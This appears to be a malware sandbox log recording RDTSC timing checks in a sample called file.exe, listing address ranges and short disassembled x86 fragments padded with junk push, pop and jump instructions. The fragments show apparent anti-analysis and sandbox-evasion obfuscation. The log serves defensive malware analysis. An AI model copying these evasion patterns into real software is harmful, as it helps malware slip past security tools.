Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B937 second address: F1B946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F8388CACA56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B946 second address: F1B94D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B25E second address: F1B277 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA64h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B277 second address: F1B294 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204228h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B405 second address: F1B40D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5AA second address: F1B5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5AE second address: F1B5CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA64h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5CD second address: F1B5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8389204222h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B5EB second address: F1B604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8388CACA60h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1B604 second address: F1B608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2811E second address: F2813B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA68h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DF2A second address: F2DF2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E0B0 second address: F2E0BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8388CACA56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E0BA second address: F2E0C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007F8389204216h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CE08 second address: F3CE0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CE0E second address: F3CE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F3CE16 second address: F3CE23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F8388CACA5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46197 second address: F461A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F461A0 second address: F461B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA62h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F461B8 second address: F461BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F461BC second address: F461D2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8388CACA56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4647A second address: F4647E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F468C9 second address: F468CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46B7B second address: F46B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46B7F second address: F46B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8388CACA56h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46B8B second address: F46B9F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F838920421Ch 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F46B9F second address: F46BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA65h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F4B008 second address: F4B012 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8389204216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F56605 second address: F56622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8388CACA65h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B21 second address: F58B2B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8389204216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B2B second address: F58B31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B31 second address: F58B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F8389204216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B3B second address: F58B41 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F58B41 second address: F58B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8389204227h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F838920421Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F68684 second address: F686B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F8388CACA65h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop esi 0x00000016 jns 00007F8388CACA5Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F684F7 second address: F684FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C263 second address: F6C274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA5Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6C274 second address: F6C28D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8389204216h 0x00000008 jmp 00007F838920421Fh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BDB0 second address: F6BDB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BDB4 second address: F6BDBE instructions: 0x00000000 rdtsc 0x00000002 jp 00007F8389204216h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6BEF3 second address: F6BEF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8586B second address: F85871 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85871 second address: F858B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F8388CACA69h 0x0000000c pop edx 0x0000000d pushad 0x0000000e jmp 00007F8388CACA62h 0x00000013 jno 00007F8388CACA56h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84BE3 second address: F84BFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F838920421Ch 0x00000008 jo 00007F8389204216h 0x0000000e push eax 0x0000000f push edx 0x00000010 jc 00007F8389204216h 0x00000016 jnc 00007F8389204216h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F84BFF second address: F84C03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F851AD second address: F851FB instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8389204216h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pop ecx 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jng 00007F8389204216h 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b push eax 0x0000001c pop eax 0x0000001d jbe 00007F8389204216h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F8389204226h 0x0000002b jmp 00007F8389204222h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F851FB second address: F85208 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85208 second address: F8520E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F854F9 second address: F8550E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8388CACA60h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8550E second address: F85542 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204224h 0x00000007 jmp 00007F838920421Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007F8389204218h 0x00000016 push eax 0x00000017 push edx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85542 second address: F85546 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85546 second address: F8554C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8554C second address: F85552 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AF97 second address: F8AF9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8AF9C second address: F8AFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8B329 second address: F8B331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53500EF second address: 53500F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53500F5 second address: 53500F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53500F9 second address: 535013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a movzx eax, bx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007F8388CACA67h 0x00000015 or si, 1DCEh 0x0000001a jmp 00007F8388CACA69h 0x0000001f popfd 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535013F second address: 5350194 instructions: 0x00000000 rdtsc 0x00000002 mov si, B3D7h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a pushad 0x0000000b mov esi, edi 0x0000000d pushfd 0x0000000e jmp 00007F838920421Fh 0x00000013 and ecx, 23A12BDEh 0x00000019 jmp 00007F8389204229h 0x0000001e popfd 0x0000001f popad 0x00000020 xchg eax, ebp 0x00000021 jmp 00007F838920421Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350194 second address: 5350198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5350198 second address: 535019E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 535019E second address: 53501B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 4AA1h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cx, di 0x00000013 mov si, di 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330E69 second address: 5330E6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330E6D second address: 5330E73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330E73 second address: 5330EA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204224h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8389204227h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EA5 second address: 5330EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 633A94BAh 0x00000008 call 00007F8388CACA5Bh 0x0000000d pop esi 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov dx, cx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EC4 second address: 5330ECA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330ECA second address: 5330ECE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330ECE second address: 5330EF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F838920421Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330EF9 second address: 5330F29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e call 00007F8388CACA63h 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F29 second address: 5330F2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330F2E second address: 5330F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, EBh 0x00000005 push edx 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b pushad 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8388CACA65h 0x00000013 xor ch, FFFFFFB6h 0x00000016 jmp 00007F8388CACA61h 0x0000001b popfd 0x0000001c call 00007F8388CACA60h 0x00000021 pop eax 0x00000022 popad 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380010 second address: 5380016 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380016 second address: 5380052 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8388CACA5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c mov esi, edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push ebx 0x00000011 pop ecx 0x00000012 pop ebx 0x00000013 popad 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jmp 00007F8388CACA68h 0x0000001d mov edx, ecx 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380052 second address: 53800A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204227h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F8389204224h 0x00000011 adc al, FFFFFFE8h 0x00000014 jmp 00007F838920421Bh 0x00000019 popfd 0x0000001a mov ch, A5h 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F838920421Eh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53800A8 second address: 5380115 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F8388CACA67h 0x0000000b sbb ecx, 7E57FE8Eh 0x00000011 jmp 00007F8388CACA69h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov al, dl 0x00000020 pushfd 0x00000021 jmp 00007F8388CACA64h 0x00000026 add cx, A438h 0x0000002b jmp 00007F8388CACA5Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380115 second address: 538012D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8389204224h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538012D second address: 5380131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101E3 second address: 53101E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101E7 second address: 53101EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53101EB second address: 53101F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C39 second address: 5330C51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8388CACA64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330C51 second address: 5330C55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330813 second address: 5330859 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8388CACA60h 0x00000008 add ecx, 0569BD78h 0x0000000e jmp 00007F8388CACA5Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b push edi 0x0000001c pop eax 0x0000001d jmp 00007F8388CACA67h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330859 second address: 5330862 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 96FAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330862 second address: 533089B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b call 00007F8388CACA63h 0x00000010 pop ecx 0x00000011 jmp 00007F8388CACA69h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533089B second address: 53308C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8389204221h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F838920421Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53308C7 second address: 53308CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330771 second address: 5330788 instructions: 0x00000000 rdtsc 0x00000002 mov ax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ch, bl 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F838920421Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330788 second address: 533078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 533078E second address: 5330792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330792 second address: 5330796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5330504 second address: 533050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
